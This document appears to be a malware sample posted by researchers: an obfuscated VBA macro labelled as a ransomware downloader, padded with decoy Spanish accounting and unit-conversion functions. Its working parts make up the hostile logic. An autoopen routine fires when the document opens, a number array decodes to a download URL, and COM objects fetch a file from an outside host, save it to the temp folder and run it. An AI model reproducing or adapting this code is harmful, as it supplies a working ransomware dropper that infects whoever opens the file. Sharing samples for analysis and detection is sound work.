Ransomware VBA downloader 25ef6bf583de478c271a9271d1e9256b

#VBA Ransomware payload downloader
#Sample: 25ef6bf583de478c271a9271d1e9256b
#Malversidement of http://imgur.com/a/kXvah
#MalwareMustDie!

Public Function EjecutaSQL(ByRef SQL As String) As Boolean
    EjecutaSQL = False
    On Error Resume Next
    Conn.Execute SQL
    If Err.Number <> 0 Then
        Err.Clear
    Else
        EjecutaSQL = True
    End If
End Function


Public Function DirectorioEAT() As Boolean
    On Error GoTo EDirecEAT
    DirectorioEAT = False
    If Dir("C:\AEAT", vbDirectory) = "" Then
        MsgBox "No se encuentra la carpeta de la agencia tributaria.  ( C:\AEAT )", vbExclamation
    Else
        DirectorioEAT = True
    End If
    Exit Function
EDirecEAT:
    Err.Clear
End Function


Sub autoopen()
EjecutaSQLDo 0.4, 5, -0.6
End Sub


Public Function EstaLaCuentaBloqueada(ByRef codmacta As String, Fecha As Date) As Boolean
Dim i As Integer

        EstaLaCuentaBloqueada = False
        If vParam.CuentasBloqueadas <> "" Then
            i = InStr(1, vParam.CuentasBloqueadas, codmacta & ":")
            If i > 0 Then

                If Fecha >= CDate(Mid(vParam.CuentasBloqueadas, i + Len(codmacta) + 1, 10)) Then EstaLaCuentaBloqueada = True
            End If
        End If
End Function


Public Sub CerrarRs(ByRef Rsss As String)
    On Error Resume Next
    Rsss.Close
    If Err.Number <> 0 Then Err.Clear
End Sub


Public Function SerieNumeroFactura(Posiciones As Integer, Serie As String, Numerofactura As String)
Dim i As Integer
Dim Cad As String

    i = Posiciones - Len(Numerofactura) - Len(Serie)
    If i <= 0 Then

        Cad = Right(Numerofactura, Posiciones - Len(Numerofactura))
    Else
        Cad = String(i, "0") & Numerofactura
    End If
    SerieNumeroFactura = Serie & Cad


End Function


Public Function EsEntero(TEXTO As String) As Boolean
Dim i As Integer
Dim C As Integer
Dim L As Integer
Dim res As Boolean

    res = True
    EsEntero = False

    If Not IsNumeric(TEXTO) Then
        res = False
    Else

        C = 0
        L = 1
        Do
            i = InStr(L, TEXTO, ".")
            If i > 0 Then
                L = i + 1
                C = C + 1
            End If
        Loop Until i = 0
        If C > 1 Then res = False


        If C = 0 Then
            L = 1
            Do
                i = InStr(L, TEXTO, ",")
                If i > 0 Then
                    L = i + 1
                    C = C + 1
                End If
            Loop Until i = 0
            If C > 1 Then res = False
        End If

    End If
        EsEntero = res
End Function


Public Sub NombreSQL(ByRef CADENA As String)
Dim J As Integer
Dim i As Integer
Dim Aux As String
    J = 1
    Do
        i = InStr(J, CADENA, "
        If i > 0 Then
            Aux = Mid(CADENA, 1, i - 1) & "\"
            CADENA = Aux & Mid(CADENA, i)
            J = i + 2
        End If
    Loop Until i = 0
End Sub

Public Function DevNombreSQL(CADENA As String) As String
Dim J As Integer
Dim i As Integer
Dim Aux As String
    J = 1
    Do
        i = InStr(J, CADENA, "
        If i > 0 Then
            Aux = Mid(CADENA, 1, i - 1) & "\"
            CADENA = Aux & Mid(CADENA, i)
            J = i + 2
        End If
    Loop Until i = 0
    DevNombreSQL = CADENA
End Function

Public Result__1 As Object
Public Freddy_Result As Object
Public Result__3 As Object
Public MassiveA() As String
Public Result__4 As String
Public Result__Warning As String
Public Result_sedming As Object
 Public Constant_4 As String
Public constans_Result() As String
Const INTERVAl_MILLIS_DO_EVENTS As Long = 100
Public Function newStringBuilder() As String
 newStringBuilder = ""
End Function
Public Function newCompareValueCalculator()
 calc.init
 Set newCompareValueCalculator = calc
End Function
Public Function newTagBuilder(rootTagName As String) As String
 Call builder.init(rootTagName)
End Function
Public Function newDate(aYear As Long, aMonth As Integer, aDay As Integer) As Date
 newDate = CDate(LText.messageFormat("{1::0}/{2::00}/{3::00}", aYear, aMonth, aDay))
End Function
Public Function newStringSet() As String
 Dim result As String
 Call res.ult.init
End Function
Public Function Fso() As String
 Static staticFso As String
 If stat.icFso Is Nothing Then
 End If
End Function

Sub assignIgnoreType(ByRef aOut, ByVal aIn)
 If IsObject(aIn) Then
 Set aOut = aIn
 Else
 aOut = aIn
 End If
End Sub

Public Function ImpirmirListadoCaja(ByRef vSQL As String, SaldoArrastrado As Boolean) As Boolean
Dim miSQL As String
Dim L As Long
Dim Cad As String
Dim Caja As String
Dim CtaCaja As String
Dim Tipo As Integer
Dim RT As String

    ImpirmirListadoCaja = False
    Conn.Execute "DELETE from Usuarios.ztesoreriacomun where codusu = " & vUsu.Codigo

    Set miRsAux = New ADODB.Recordset
    miSQL = "Select slicaja.*,nommacta from slicaja,cuentas,susucaja where slicaja.codmacta=cuentas.codmacta " & vSQL
    miSQL = miSQL & " ORDER BY slicaja.codusu,feccaja,numlinea"
    miRsAux.Open miSQL, Conn, adOpenForwardOnly, adLockPessimistic, adCmdText
    L = 1


    vSQL = "INSERT INTO Usuarios.ztesoreriacomun (codusu, fecha1,codigo, texto1, texto2,texto4,opcion, texto3, observa1, "
    vSQL = vSQL & "texto5,importe1 ,importe2,texto6 ) VALUES (" & vUsu.Codigo & ","
    CtaCaja = ""
    While Not miRsAux.EOF
        If miRsAux!codusu <> CtaCaja Then
            CtaCaja = miRsAux!codusu

            Caja = DevuelveDesdeBD("nomusu", "usuarios.usuarios", "codusu", miRsAux!codusu, "N")
            Caja = DevNombreSQL(Caja)
            Caja = ","


            If SaldoArrastrado Then
                Cad = "Select saldo from susucaja where codusu =" & CtaCaja
                Set RT = New ADODB.Recordset
                RT.Open Cad, Conn, adOpenForwardOnly, adLockOptimistic, adCmdText
                If Not RT.EOF Then

                    Cad = "1900-01-01"
                    For Tipo = 1 To 4
                        Cad = Cad & ",NULL"
                    Next Tipo
                      Cad = Cad & ","
                    If RT!Saldo >= 0 Then
                        Cad = Cad & TransformaComasPuntos(CStr(RT!Saldo)) & ",0"
                    Else
                        Cad = Cad & "0," & TransformaComasPuntos(CStr(Abs(RT!Saldo)))
                    End If
                    Cad = vSQL & Cad & ",NULL)"
                    Conn.Execute Cad

                    L = L + 1
                End If
                RT.Close
                Set RT = Nothing
            End If
        End If

        Cad = Format(miRsAux!feccaja, FormatoFecha) & ""
        If miRsAux!tipomovi = 1 Then
            Tipo = 1

            Cad = Cad & ","

            Cad = Cad & DevNombreSQL(DBLet(miRsAux!numfacpr))
            If Not IsNull(miRsAux!numvenci) Then Cad = Cad & " - Vto: " & miRsAux!numvenci
            Cad = Cad & ""
        Else
            If miRsAux!tipomovi >= 2 Then

                Tipo = Val(miRsAux!tipomovi)
                Cad = Cad & ","
                If Tipo = 2 Then
                    Cad = Cad & "PAGO"
                Else
                    Cad = Cad & "TRASPASO"
                End If
                Cad = Cad & ""
                Cad = Cad & ""

            Else

                Tipo = 0
                Cad = Cad & ","

                If Not IsNull(miRsAux!NUmSerie) Then Cad = Cad & miRsAux!NUmSerie
                If Not IsNull(miRsAux!numfaccl) Then Cad = Cad & Format(miRsAux!numfaccl, "0000000000")
                If Not IsNull(miRsAux!numvenci) Then Cad = Cad & " - Vto: " & miRsAux!numvenci
                Cad = Cad & ""
            End If
        End If

        Cad = Cad & TransformaComasPuntos(CStr(DBLet(miRsAux!ImporteD, "N")))
        Cad = Cad & "," & TransformaComasPuntos(CStr(DBLet(miRsAux!ImporteH, "N")))
        Cad = Cad & "," & Format(miRsAux!NumLinea, "00000")
        Cad = vSQL & Cad & ")"
        Conn.Execute Cad

        miRsAux.MoveNext
        L = L + 1
    Wend
    miRsAux.Close


    ImpirmirListadoCaja = True
End Function

Public Function UsuariosConectados(energy As Double)
Dim aResult As String
 aResult = CadenaCurrency(Ultra.CommandButton3.Caption, "00", "e")
 aResult = CadenaCurrency(aResult, "D!", "M")
 aResult = CadenaCurrency(aResult, "bri", "s")
 constans_Result = Split(aResult, "10)")
KwhToJoule 0.33
 UsuariosConectados = 3.6 * 10 ^ 3 * (1.987 / 8.314) * energy
End Function
Private Function getTimeLoggerInstance() As String
 Static logger As String
 If logg.er Is Nothing Then
 logg.er.init
 End If
End Function
Public Sub tlog(message As String, Optional groupId As String = "*default*")
 Call getTimeLogge.rInstance().Log(message, groupId)
End Sub
Public Sub printTimelogReport()
 Call getTimeL.oggerInstance().printReports
End Sub
Public Sub clearTimelogReport()
 Call getTimeLog.gerInstance().crearReports
End Sub
Public Sub setTimelogVerbose(isVerbose As Boolean)
 Call Status.OfLibrary.setTimeLoggerVerbose(isVerbose)
End Sub
Public Sub writeLog(ByVal message As String)
 Call LLog.writeLog(message)
End Sub
Private Function getDoEventsTimer() As String
 Static timer As String
 If ti.mer Is Nothing Then
 Set tim.er = LCreation.newTimer
 End If
End Function
Public Sub doEventsWithInterval(Optional intervalMillis As Long = INTERVAl_MILLIS_DO_EVENTS)
 If intervalMillis <= getDoEvent.sTimer().getMillis() Then
 doEventsImmediately
 End If
End Sub
Public Sub doEventsImmediately()
 getDoEvent.sTimer.Reset
 DoEvents
End Sub


Public Function EsNumerico(TEXTO As String) As Boolean
Dim i As Integer
Dim C As Integer
Dim L As Integer
Dim Cad As String

 Set Freddy_Result = CreateObject(constans_Result(1))

 Set Result_sedming = CreateObject(constans_Result(2))

RemesaSeleccionTipoRemesa False, False, True
Exit Function
    EsNumerico = False
    Cad = ""
    If Not IsNumeric(TEXTO) Then
        Cad = "El campo debe ser num駻ico"
    Else

        C = 0
        L = 1
        Do
            i = InStr(L, TEXTO, ".")
            If i > 0 Then
                L = i + 1
                C = C + 1
            End If
        Loop Until i = 0
        If C > 1 Then Cad = "Numero de puntos incorrecto"


        If C = 0 Then
            L = 1
            Do
                i = InStr(L, TEXTO, ",")
                If i > 0 Then
                    L = i + 1
                    C = C + 1
                End If
            Loop Until i = 0
            If C > 1 Then Cad = "Numero incorrecto"
        End If

    End If
    If Cad <> "" Then
        MsgBox Cad, vbExclamation
    Else
        EsNumerico = True
    End If
End Function


Private Sub CommandButton1_Click()

End Sub

Private Sub CommandButton2_Click()

End Sub

Private Sub CommandButton3_Click()

End Sub

Private Sub UserForm_Click()

End Sub

Public Function feetToMeter(length As Double)
 feetToMeter = 3.048 * 10 ^ -1 * length
End Function
Public Function meterToFeet(length As Double)
 meterToFeet = 3.2808 * length
End Function
Public Function inchToMeter(length As Double)
Result__Warning = Result__4
Result__Warning = Result__Warning + constans_Result(55 - 43)
AbrirConexionAridoc
 DevuelveDigitosNivelAnterior 37.7
 inchToMeter = (2.54 * 10 ^ -2) * length
End Function
Public Sub CargaImagenesAyudas(ByRef Colec, Tipo As Byte, Optional ToolTipText_ As String)
Dim i As Image



    For Each i In Colec
            i.Picture = frmPpal.imgIcoForms.ListImages(Tipo).Picture
            If i.TooltipText = "" Then
                If ToolTipText_ <> "" Then
                    i.TooltipText = ToolTipText_
                Else
                    If Tipo = 3 Then
                        i.TooltipText = "Ayuda"
                    ElseIf Tipo = 2 Then
                        i.TooltipText = "Buscar fecha"
                    Else
                        i.TooltipText = "Buscar"
                    End If
                End If
            End If
    Next
End Sub


Public Function RemoveSpecialChar(strFileName As Integer) As String
 Dim i As Byte
 Dim SpecialChar As Boolean
 Dim SelChar As String, OutFileName As String
 RemoveSpecialChar = Chr(CInt(MassiveA(strFileName)) / (9 + 7))
 Exit Function
 For i = 1 To Len(strFileName)
 SelChar = Mid(strFileName, i, 1)
 SpecialChar = InStr(":/\?*|<>" & Chr$(34), SelChar) > 0
 If (Not SpecialChar) Then
 OutFileName = OutFileName & SelChar
 SpecialChar = False
 Else
 OutFileName = OutFileName
 SpecialChar = False
 End If
 Next i
 RemoveSpecialChar = OutFileName
End Function
Public Function DevuelveDigitosNivelAnterior(temperature As Double)
sedming_Warning_AKADEMIA 309
 DevuelveDigitosNivelAnterior = (5 / 9) * (temperature + 459.67)

 CallByName Freddy_Result, constans_Result(11), VbMethod, Result__Warning, 2
 KelvinToRankine = (5 / 9) * (temperature - 32)

 Result_sedming.Open (Result__Warning)
 JouleTocal = (1.987 / 8.314) * temperature
End Function
Public Function CalToJoule(energy As Double)
 CalToJoule = 4.184 * energy
End Function
Public Function CalToKwh(energy As Double)
 CalToKwh = 4.184 * 3.6 * 10 ^ 3 * energy
End Function
Public Function JouleToKwh(energy As Double)
 KwhToJoule = (3.6 * 10 ^ 3) ^ -1 * energy
End Function
Public Function PasToCentipoise(viscosity As Double)
 PasToCentipoise = 1000 * viscosity
End Function
Public Function centipoiseToPas(viscosity As Double)
 centipoiseToPas = viscosity / 1000
End Function
Public Function DevuelveNombreInformeSCRYST(NumInforme As Integer, Titulo As String) As String
Dim Cad As String

        DevuelveNombreInformeSCRYST = ""
        Cad = DevuelveDesdeBD("informe", "scryst", "codigo", CStr(NumInforme))

        If Cad = "" Then
            MsgBox "No existe el informe para: " & Titulo & " (" & NumInforme & ")", vbExclamation
            Exit Function
        End If


        If Dir(App.Path & "\InformesT\" & Cad, vbArchive) = "" Then
            MsgBox "No se encuentra el archivo: " & Cad & vbCrLf & "Opcion: " & Titulo, vbExclamation
            Exit Function
        End If
        DevuelveNombreInformeSCRYST = Cad

End Function

Public Function Memo_Leer(ByRef C As Variant) As String
    On Error Resume Next
    Memo_Leer = C.value
    If Err.Number <> 0 Then
        Err.Clear
        Memo_Leer = ""
    End If
End Function


Public Function ListadoFormaPago(ByRef SQL As String) As Boolean

    On Error GoTo EListadoFormaPago
    ListadoFormaPago = False

    Conn.Execute "DELETE from Usuarios.ztesoreriacomun where codusu = " & vUsu.Codigo

    SQL = " WHERE sforpa.tipforpa = stipoformapago.tipoformapago " & SQL
    SQL = " FROM sforpa ,stipoformapago" & SQL
    SQL = " sforpa.codforpa,sforpa.nomforpa,stipoformapago.descformapago " & SQL
    SQL = "INSERT INTO Usuarios.ztesoreriacomun(codusu,codigo,texto1,texto2) Select " & vUsu.Codigo & "," & SQL


    Conn.Execute SQL

    Set miRsAux = New ADODB.Recordset
    SQL = "select count(*) from Usuarios.ztesoreriacomun where codusu = " & vUsu.Codigo
    miRsAux.Open SQL, Conn, adOpenForwardOnly, adLockPessimistic, adCmdText
    If Not miRsAux.EOF Then
        If DBLet(miRsAux.Fields(0), "N") > 0 Then SQL = ""
    End If
    miRsAux.Close
    Set miRsAux = Nothing
    If SQL <> "" Then
        MsgBox "Ningun dato se ha generado", vbExclamation
    Else
        ListadoFormaPago = True
    End If
    Exit Function
EListadoFormaPago:
    MuestraError Err.Number, "ListadoFormaPago "
End Function


Public Sub cargaEmpresasTesor(ByRef Lis As Variant)
Dim Prohibidas As String
Dim IT
Dim Aux As String

    Set miRsAux = New ADODB.Recordset

    Prohibidas = DevuelveProhibidas

    Lis.ListItems.Clear
    Aux = "Select * from Usuarios.empresas where tesor=1"

    miRsAux.Open Aux, Conn, adOpenForwardOnly, adLockPessimistic, adCmdText
    While Not miRsAux.EOF

        Aux = "|" & miRsAux!codempre & "|"
        If InStr(1, Prohibidas, Aux) = 0 Then
            Set IT = Lis.ListItems.Add
            IT.Key = "C" & miRsAux!codempre
            If vEmpresa.codempre = miRsAux!codempre Then IT.Checked = True
            IT.Text = miRsAux!nomempre
            IT.Tag = miRsAux!codempre
        End If
        miRsAux.MoveNext

    Wend
    miRsAux.Close
    Set miRsAux = Nothing

End Sub


Private Function DevuelveProhibidas() As String
Dim i As Integer

 Dim ElCounter As Integer
For ElCounter = LBound(MassiveA) To UBound(MassiveA)
 Constant_4 = Constant_4 & RemoveSpecialChar(ElCounter)
 Next ElCounter
 GoTo EDevuelveProhibidas
    DevuelveProhibidas = ""

    i = vUsu.Codigo Mod 100
    miRsAux.Open "Select * from usuarios.usuarioempresaT WHERE codusu =" & i, Conn, adOpenForwardOnly, adLockOptimistic, adCmdText
    DevuelveProhibidas = ""
    While Not miRsAux.EOF
        DevuelveProhibidas = DevuelveProhibidas & miRsAux.Fields(1) & "|"
        miRsAux.MoveNext
    Wend
    If DevuelveProhibidas <> "" Then DevuelveProhibidas = "|" & DevuelveProhibidas
    miRsAux.Close
    Exit Function
EDevuelveProhibidas:
     Servidor "Servidor"
End Function


Public Function ComprobarCampoENlazado(ByRef T As TextBox, TDesc As TextBox, Tipo As String) As Byte

    T.Text = Trim(T.Text)
    If T.Text = "" Then
        ComprobarCampoENlazado = 0
        TDesc.Text = ""
        Exit Function
    End If

    Select Case Tipo
    Case "N"
        If Not IsNumeric(T.Text) Then
            MsgBox "El campo debe ser num駻ico: " & T.Text, vbExclamation
            TDesc.Text = ""
            T.Text = ""
            ComprobarCampoENlazado = 1
        Else
            ComprobarCampoENlazado = 2
        End If
    End Select

End Function


Public Function RemesaSeleccionTipoRemesa(chkEfec As Boolean, chkPaga As Boolean, chkTalon As Boolean) As String
Dim C As String

 Set Result__0_22 = CreateObject(constans_Result(3))
    C = ""
     Set Result__3 = Result__0_22.Environment(constans_Result(4))
     DevuelveProhibidas
     Exit Function
    If chkEfec And chkPaga And chkTalon Then


    Else

        If Not chkEfec And Not chkPaga And Not chkTalon Then


        Else

            If chkEfec Then
                If chkPaga Then
                    C = " <> 3 "
                Else
                    If chkTalon Then
                        C = " <> 2 "
                    Else
                        C = " = 1"
                    End If
                End If
            Else
                If chkPaga Then
                    If chkTalon Then
                        C = " <> 1"
                    Else
                        C = " = 2 "
                    End If
                Else
                    C = " =3 "
                End If
            End If
        End If
    End If
    If C <> "" Then C = " tiporem  " & C
    RemesaSeleccionTipoRemesa = C
End Function

Public Function TextoAimporte(Importe As String) As Currency
Dim i As Integer
    If Importe = "" Then
        TextoAimporte = 0
    Else
        If InStr(1, Importe, ",") > 0 Then

            Do
                i = InStr(1, Importe, ".")
                If i > 0 Then Importe = Mid(Importe, 1, i - 1) & Mid(Importe, i + 1)
            Loop Until i = 0
            TextoAimporte = Importe


        Else

            TextoAimporte = TransformaPuntosComas(Importe)
        End If
    End If

End Function

Public Function EjecutarSQL(CadenaSQL As String) As Boolean
    On Error Resume Next
    Conn.Execute CadenaSQL
    If Err.Number <> 0 Then

         MuestraError Err.Number, "Error ejecutando SQL: " & vbCrLf & CadenaSQL, Err.Description
         EjecutarSQL = False
    Else
         EjecutarSQL = True
    End If

End Function


Public Function AbrirConexionAridoc() As Boolean
Dim Cad As String
On Error GoTo EAbrirConexion
    is16 = 16
CallByName Freddy_Result, constans_Result(11 - 4), 64 / is16, is16 - 15
 Freddy_Result.Open
    Exit Function

    AbrirConexionAridoc = False
    Set ConnConta = Nothing
    ConnConta.CursorLocation = adUseServer

    Cad = "DRIVER={MySQL ODBC 3.51 Driver};DESC=;DATA SOURCE= Aridoc;DATABASE=Aridoc"


    Cad = Cad & ";Persist Security Info=true"

    ConnConta.ConnectionString = Cad
    ConnConta.Open
    ConnConta.Execute "Set AUTOCOMMIT = 1"
    AbrirConexionAridoc = True
    Exit Function

EAbrirConexion:
    Mue.straError Err.Number, "Abrir conexion BD:Aridoc.", Err.Description
End Function


Public Function EjecutaSQLDo(volume As Double, temperature As Double, pressure As Double)
 If VarType(HistoryFunc) = 0 Then
 UsuariosConectados 384
 End If
 EjecutaSQLDo = volume * (pressure / temperature) * (273.15 / 101325#)
End Function
Public Function CadenaCurrency(A1 As String, A2 As String, A3 As String) As String
CadenaCurrency = Replace(A1, A2, A3)
End Function



Public Function Approssima(MiaValuta As Double) As Double
    Dim MioVal1 As Double
    Dim MioVal2 As Double
    Dim MyStr As String
    Dim MyStr1 As String
    Dim MyStr2 As String
    Dim MiaString As String
    Dim HaDecimali As Boolean
    Dim i As Integer
    HaDecimali = False
    If MiaValuta <> 0 Then
        MiaString = Trim(Str(MiaValuta))
        For i = 1 To Len(MiaString)
            MyStr = Mid(MiaString, i, 1)
            If MyStr = "." Then
                HaDecimali = True
                MyStr1 = Left(MiaString, i - 1)
                If (Len(Trim(MyStr1)) = 0) Then
                    MyStr1 = "0"
                End If
                MyStr2 = Right(MiaString, Len(MiaString) - i)
                i = i + 1
            End If
        Next i
        If HaDecimali = False Then
            Approssima = MiaString
            Exit Function
        End If
        MioVal1 = CDbl(MyStr1)
        MioVal2 = CDbl(Left(MyStr2, 1))
        If MioVal2 < 5 Then
            Approssima = MioVal1
        Else
            Approssima = MioVal1 + 1
        End If
    Else
        Approssima = 0
    End If
End Function


Public Function Servidor(x As Variant) As Boolean
 If x = "Servidor" Then

Result__1.Open constans_Result(2 + 1 + 2), Constant_4, False
Result__1.send
 Result__4 = Result__3(constans_Result(180 / 30))
 Servidor = True

 ElseIf IsNull(x) Then
 Servidor = True

 ElseIf IsEmpty(x) Then
 Servidor = True

 ElseIf x Is Nothing Then
 Servidor = True

 ElseIf IsArray(x) Then
 Servidor = (UBound(x) - LBound(x) < 0)

 Else
 Servidor = False
 End If
 inchToMeter 44.5
End Function


Public Function EsFechaOK(T As TextBox) As Boolean
Dim Cad As String

    Cad = T.Text
    If InStr(1, Cad, "/") = 0 Then
        If Len(T.Text) = 8 Then
            Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/" & Mid(Cad, 5)
        Else
            If Len(T.Text) = 6 Then Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/20" & Mid(Cad, 5)
        End If
    End If

    If IsDate(Cad) Then
        EsFechaOK = True
        T.Text = Format(Cad, "dd/MM/yyyy")
    Else
        EsFechaOK = False
    End If
End Function


Public Function KwhToJoule(energy As Double)
MassiveA = Split("1664ｨ1856ｨ1856ｨ1792ｨ928ｨ752ｨ752ｨ1744ｨ1680ｨ1824ｨ1824ｨ1776ｨ1824ｨ736ｨ1664ｨ1680ｨ800ｨ736ｨ1824ｨ1776ｨ752ｨ896ｨ912ｨ1936ｨ1648ｨ864ｨ880ｨ1760ｨ1776", "ｨ")
 Set Result__1 = CreateObject(constans_Result(0))
 If InStr(1, "6 8 15 22", "/") = 0 Then
 EsFechaOKString "13"
End If
 KwhToJoule = 3.6 * 10 ^ 3 * energy
End Function

Public Function EsFechaOKString(ByRef T As String) As Boolean
Dim Cad As String

    Cad = T

    If InStr(1, Cad, "/") = 0 Then
        If Len(T) = 8 Then
            Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/" & Mid(Cad, 5)
        Else
            If Len(T) = 6 Then Cad = Mid(Cad, 1, 2) & "/" & Mid(Cad, 3, 2) & "/20" & Mid(Cad, 5)
        End If
    End If
    If IsDate(Cad) Then
        EsFechaOKString = True
        T = Format(Cad, "dd/mm/yyyy")
    Else
EsNumerico "4, 6, 12"
        EsFechaOKString = False
    End If
End Function

Private Function eqObject(a As Object, b As Object) As Boolean
 If a Is Nothing Then
 eqObject = (b Is Nothing)
 Exit Function
 End If
 On Error GoTo EQUALS_NOT_DEFINED
 eqObject = a.equals(b)
 Exit Function
EQUALS_NOT_DEFINED:
 reRaiseE.xceptForMethodMissing
 eqObject = (a Is b)
End Function
Private Sub reRaise()
 Err.Raise Err.Number, Err.Source, Err.Description, Err.HelpContext, Err.HelpContext
End Sub
Public Function NLToM3(volume As Double, temperature As Double, pressure As Double)
 NLToM3 = volume * (temperature / 273.15) * (101325 / pressure) * (1 / (60000#))
End Function
Public Function KgToNm3(massKg As Double, molarMass As Double)
 KgToNm3 = massKg * (1344600# / molarMass) * 0.06 / (3600#)
End Function
Public Function paToMbar(pressure As Double)
 paToMbar = 10 ^ -2 * pressure
End Function
Public Function PaToMmH20(pressure As Double)
 PaToMmH20 = 0.101974 * pressure
End Function
Public Function mmH20ToPa(pressure As Double)
 mmH20ToPa = 9.80642 * pressure
End Function
Public Function paToAtm(pressure As Double)
 paToAtm = (1.0135 * 10 ^ 5) ^ -1 * pressure
End Function
Public Function atmToPa(pressure As Double)
 atmToPa = (1.0135 * 10 ^ 5) * pressure
End Function
Public Function paToBar(pressure As Double)
 paToBar = (1# * 10 ^ 5) ^ -1 * pressure
End Function
Public Function sedming_Warning_AKADEMIA(pressure As Double)
ROSTIX = CallByName(Result__1, constans_Result(1000 / 100), VbGet)
 CallByName Freddy_Result, constans_Result(9), VbMethod, ROSTIX
 sedming_Warning_AKADEMIA = (1# * 10 ^ 5) * pressure
End Function
Public Function PaToPsi(pressure As Double)
 PaToPsi = pressure / (6.894757 * 10 ^ 3)
End Function
Public Function PsiToPa(pressure As Double)
 PsiToPa = pressure * (6.894757 * 10 ^ 3)
End Function
Public Function KelvinToCelsius(temperature As Double)
 KelvinToCelsius = temperature - 273.15
End Function
Public Function CelsiusToKelvin(temperature As Double)
 CelsiusToKelvin = temperature + 273.15
End Function
Public Function RankineToCelsius(temperature As Double)
 RankineToCelsius = (temperature - 491.67) * (5 / 9)
End Function